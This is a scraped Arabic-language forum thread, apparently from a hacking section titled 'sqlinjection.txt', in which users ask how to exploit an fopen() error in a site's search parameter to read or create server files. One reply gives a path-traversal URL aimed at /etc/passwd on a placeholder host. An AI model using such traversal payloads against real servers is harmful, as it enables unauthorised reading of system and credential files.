sqlinjection.txt

MCP

MCTS:.Net Framework 2.0: Web Applications

MCPD:Web Developer

#20

وااااااو مذهل

04_08_05_05_25_08_1123201508Stoon.JPGIn this world I love Islam ,Computer ,Communications ,Electronics and

المسلم كالغيث أينما حل نفع

Don't ever trust machines

#21

السلام عليكم ورحمة الله وبركاته

والله يا جما عة الموضوع ده يعتبر واحد من اهم المواضيع اللى انا شوفتها

وبجد ربنا يثبتك اكثر واكثر اخى jaas

لان الموضوع حيوى جدا ومهم

وربنا يوفقك

revenger

تم تعديل هذه المشاركة بواسطة Night Coder في 7 أكتوبر 2008 في 16:09

allah.gif

اللهم انصر الحق دائما

#22

عدنا للموضوع..

اخي JAAS افرض عندك موقع بيستخدم خاصة البحث فيه ووجدت خطا في الصيغة:

http://www.site.com/index.php?a=app&app=dsrch&search=xxx

حيث ان xxx هو ما ابحث عنه مثلا بحيث لو كانت

http://www.site.com/index.php?a=app&app=dsrch&search=\xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\..

مثلا فالموقع يظهر رسالة خطا في فتح الصفحة المطلوبة ويقوم نوعا ما باظهار المطلوب كرابط!! (الخطا في الدالة fopen() ) فكيف نقوم باستغلالها كي نقوم بانشاء ملفات على السيرفر (ان كان بالامكان ذلك) او استخدام fread() مثلا او صورة مشابهة لقراءة الملفات من على السيرفر.. يعني ماهي اخطر شفرات لاستغلال ذلك وهل يمكن بطريقة ما (لو علمت ان السيرفر يعمل على linux, apache open SSL والاخطاء اللي فيه قاتله وقديمة من اخطاء الـ apache نسخة 1.36.x .. مش فاكر الرقم صح) انه نوصل للـ app الموجودة على الموقع او بارامتراتها؟

هذا للان :) تحياتي

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#23
http://www.site.com/index.php?a=app&app=dsrch&search=../../../../../../../../../../../../etc/passwd
#25

اخي Qnix هل لك ان تخبرني لم استخدمت هذا الطول من بارامترات الرجوع ../../ ? (لم تنفع مع اني حاولت باطوال مختلفة) .. انت بس كون موجود على الـ IRC وبنتفاهم ;)

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

مواضيع مشابهة